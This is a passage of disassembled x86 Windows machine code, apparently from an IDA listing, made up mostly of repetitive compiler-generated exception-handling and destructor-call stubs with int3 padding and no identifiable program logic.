[ebp-10h] add ecx, 0C29h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0C57h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0C85h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0CB3h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0CE1h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D0Fh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D3Dh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D6Bh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D99h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0DC7h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0DF5h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E23h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E51h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E7Fh jmp sub_40208B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 10C7h jmp sub_40208B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 130Fh jmp sub_40208B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1557h jmp sub_40208B ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403720 proc near ; DATA XREF: sub_403720+2o mov eax, offset dword_43F4C0 jmp sub_437AB8 SEH_403720 endp ; --------------------------------------------------------------------------- db 0D6h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403C50 proc near ; DATA XREF: sub_403C50+2o mov eax, offset dword_43F700 jmp sub_437AB8 SEH_403C50 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4392B8: ; DATA XREF: ___:0043F75Co mov ecx, [ebp-10h] add ecx, 1Eh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403CE0 proc near ; DATA XREF: sub_403CE0+2o mov eax, offset dword_43F730 jmp sub_437AB8 SEH_403CE0 endp ; --------------------------------------------------------------------------- db 13h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4392E8: ; DATA XREF: ___:0043F794o mov ecx, [ebp-10h] add ecx, 1Eh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403D60 proc near ; DATA XREF: sub_403D60+2o mov eax, offset dword_43F768 jmp sub_437AB8 SEH_403D60 endp ; --------------------------------------------------------------------------- db 13h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403DE0 proc near ; DATA XREF: sub_403DE0+2o mov eax, offset dword_43F7A0 jmp sub_437AB8 SEH_403DE0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_401AE6 ; --------------------------------------------------------------------------- loc_439338: ; DATA XREF: ___:0043F7FCo mov ecx, [ebp-10h] add ecx, 49h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 92h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0DBh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 124h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 16Dh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1B6h jmp sub_401AE6 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403E50 proc near ; DATA XREF: sub_403E50+2o mov eax, offset dword_43F7D0 jmp sub_437AB8 SEH_403E50 endp ; --------------------------------------------------------------------------- db 1Dh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401AE6 ; --------------------------------------------------------------------------- loc_4393B8: ; DATA XREF: ___:0043F85Co mov ecx, [ebp-10h] add ecx, 49h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 92h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0DBh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 124h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 16Dh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1B6h jmp sub_401AE6 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403F30 proc near ; DATA XREF: sub_403F30+2o mov eax, offset dword_43F830 jmp sub_437AB8 SEH_403F30 endp ; --------------------------------------------------------------------------- db 1Dh dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_404010 proc near ; DATA XREF: sub_404010+2o mov eax, offset dword_43F890 jmp sub_437AB8 SEH_404010 endp ; --------------------------------------------------------------------------- db 2Eh dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4394F8: ; DATA XREF: ___:0043F974o lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-84h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_404690 proc near ; DATA XREF: sub_404690+2o mov eax, offset dword_43F948 jmp sub_437AB8 SEH_404690 endp ; --------------------------------------------------------------------------- db 1Bh dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43957B: ; DATA XREF: ___:0043F9FCo lea ecx, [ebp-100h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439586: ; DATA XREF: ___:0043FA04o lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-11Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-11Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-11Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-11Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-100h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-134h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0E8h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_404CC0 proc near ; DATA XREF: sub_404CC0+8o mov eax, offset dword_43F9D0 jmp sub_437AB8 SEH_404CC0 endp ; --------------------------------------------------------------------------- db 8Bh dup(0CCh) ; --------------------------------------------------------------------------- loc_439820: ; DATA XREF: ___:0043FBD4o lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-28h] and eax, 1 test eax, eax jz locret_43983E mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- locret_43983E: ; CODE XREF: ___:00439830j retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_406730 proc near ; DATA XREF: sub_406730+2o mov eax, offset dword_43FBA8 jmp sub_437AB8 SEH_406730 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- loc_439860: ; DATA XREF: ___:0043FC0Co lea ecx, [ebp-18Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-198h] and eax, 1 test eax, eax jz locret_439884 mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- locret_439884: ; CODE XREF: ___:00439876j retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4068E0 proc near ; DATA XREF: sub_4068E0+2o mov eax, offset dword_43FBE0 jmp sub_437AB8 SEH_4068E0 endp ; --------------------------------------------------------------------------- db 11h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-454h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4398AB: ; DATA XREF: ___:0043FC44o lea ecx, [ebp-43Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4398B6: ; DATA XREF: ___:0043FC4Co lea ecx, [ebp-424h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_406C80 proc near ; DATA XREF: sub_406C80+8o mov eax, offset dword_43FC18 jmp sub_437AB8 SEH_406C80 endp ; --------------------------------------------------------------------------- db 15h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_407080 proc near ; DATA XREF: sub_407080+2o mov eax, offset dword_43FC58 jmp sub_437AB8 SEH_407080 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+8] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4076B0 proc near ; DATA XREF: sub_4076B0+8o mov eax, offset dword_43FC88 jmp sub_437AB8 SEH_4076B0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+20h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439928: ; DATA XREF: ___:0043FCE4o lea ecx, [ebp+8] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_407740 proc near ; DATA XREF: sub_407740+8o mov eax, offset dword_43FCB8 jmp sub_437AB8 SEH_407740 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-2C4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43994B: ; DATA XREF: ___:0043FD1Co lea ecx, [ebp-2DCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-174h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1A4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-2ACh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-2F4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1D4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-204h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-294h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-84h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-234h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-264h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0E4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-15Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-114h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-18Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-144h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1BCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-27Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1ECh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0CCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-21Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0B4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-9Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-330h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-318h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-34Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-12Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0FCh] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-2F8h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-300h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4077E0 proc near ; DATA XREF: sub_4077E0+2o mov eax, offset dword_43FCF0 jmp sub_437AB8 SEH_4077E0 endp ; --------------------------------------------------------------------------- db 0CFh dup(0CCh) dd 0E9C84D8Dh, 75C5574Dh ; --------------------------------------------------------------------------- pop ebp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_409660 proc near ; DATA XREF: sub_409660+2o mov eax, offset dword_4400A0 jmp sub_437AB8 SEH_409660 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40A370 proc near ; DATA XREF: sub_40A370+2o mov eax, offset dword_4400D0 jmp sub_437AB8 SEH_40A370 endp ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-38h] and eax, 1 test eax, eax jz locret_439D86 mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- locret_439D86: ; CODE XREF: ___:00439D78j retn ; --------------------------------------------------------------------------- loc_439D87: ; DATA XREF: ___:0044012Co lea ecx, [ebp-34h] jmp sub_401596 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40A510 proc near ; DATA XREF: sub_40A510+2o mov eax, offset dword_440100 jmp sub_437AB8 SEH_40A510 endp ; --------------------------------------------------------------------------- align 10h dd 90C84D8Dh, 0C556CCE9h db 75h ; --------------------------------------------------------------------------- loc_439DB9: ; DATA XREF: ___:0040AA32o mov eax, offset dword_440140 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40AEF0 proc near ; DATA XREF: sub_40AEF0+5o mov eax, offset dword_440170 jmp sub_437AB8 SEH_40AEF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40B070 proc near ; DATA XREF: sub_40B070+5o mov eax, offset dword_4401D0 jmp sub_437AB8 SEH_40B070 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_439DFB: ; DATA XREF: ___:0044025Co mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_40155F ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40B190 proc near ; DATA XREF: sub_40B190+2o mov eax, offset dword_440230 jmp sub_437AB8 SEH_40B190 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_439E4B: ; DATA XREF: ___:004402A4o mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_40155F ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40B250 proc near ; DATA XREF: sub_40B250+2o mov eax, offset dword_440278 jmp sub_437AB8 SEH_40B250 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40B2F0 proc near ; DATA XREF: sub_40B2F0+2o mov eax, offset dword_4402C0 jmp sub_437AB8 SEH_40B2F0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439EC8: ; DATA XREF: ___:0044032Co lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40B510 proc near ; DATA XREF: sub_40B510+2o mov eax, offset dword_440300 jmp sub_437AB8 SEH_40B510 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439EF8: ; DATA XREF: ___:0040B6D2o mov eax, offset dword_440340 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439F30: ; DATA XREF: ___:0040B9B8o mov eax, offset dword_440370 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40C440 proc near ; DATA XREF: sub_40C440+2o mov eax, offset dword_4403B8 jmp sub_437AB8 SEH_40C440 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-0A78h] jmp loc_401B13 ; --------------------------------------------------------------------------- loc_439F7B: ; DATA XREF: ___:00440414o lea ecx, [ebp-0A3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439F86: ; DATA XREF: ___:0044041Co lea ecx, [ebp-0A54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0A3Ch] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40C4E0 proc near ; DATA XREF: sub_40C4E0+8o mov eax, offset dword_4403E8 jmp sub_437AB8 SEH_40C4E0 endp ; --------------------------------------------------------------------------- db 1Ah dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40CBF0 proc near ; DATA XREF: sub_40CBF0+2o mov eax, offset dword_440430 jmp sub_437AB8 SEH_40CBF0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-260h] jmp loc_40228E ; --------------------------------------------------------------------------- loc_439FEB: ; DATA XREF: ___:0044048Co lea ecx, [ebp-278h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439FF6: ; DATA XREF: ___:00440494o lea ecx, [ebp-278h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A001: ; DATA XREF: ___:0044049Co lea ecx, [ebp-278h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A00C: ; DATA XREF: ___:004404A4o lea ecx, [ebp-278h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40CC90 proc near ; DATA XREF: sub_40CC90+8o mov eax, offset dword_440460 jmp sub_437AB8 SEH_40CC90 endp ; --------------------------------------------------------------------------- db 1Fh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A04B: ; DATA XREF: ___:004404DCo mov ecx, [ebp-10h] add ecx, 19h jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40CF40 proc near ; DATA XREF: sub_40CF40+2o mov eax, offset dword_4404B0 jmp sub_437AB8 SEH_40CF40 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A07B: ; DATA XREF: ___:00440514o mov ecx, [ebp-10h] add ecx, 19h jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A086: ; DATA XREF: ___:0040CFC2o mov eax, offset dword_4404E8 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40D210 proc near ; DATA XREF: sub_40D210+2o mov eax, offset dword_440520 jmp sub_437AB8 SEH_40D210 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-16Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A0EB: ; DATA XREF: ___:00440594o lea ecx, [ebp-184h] jmp sub_401226 ; 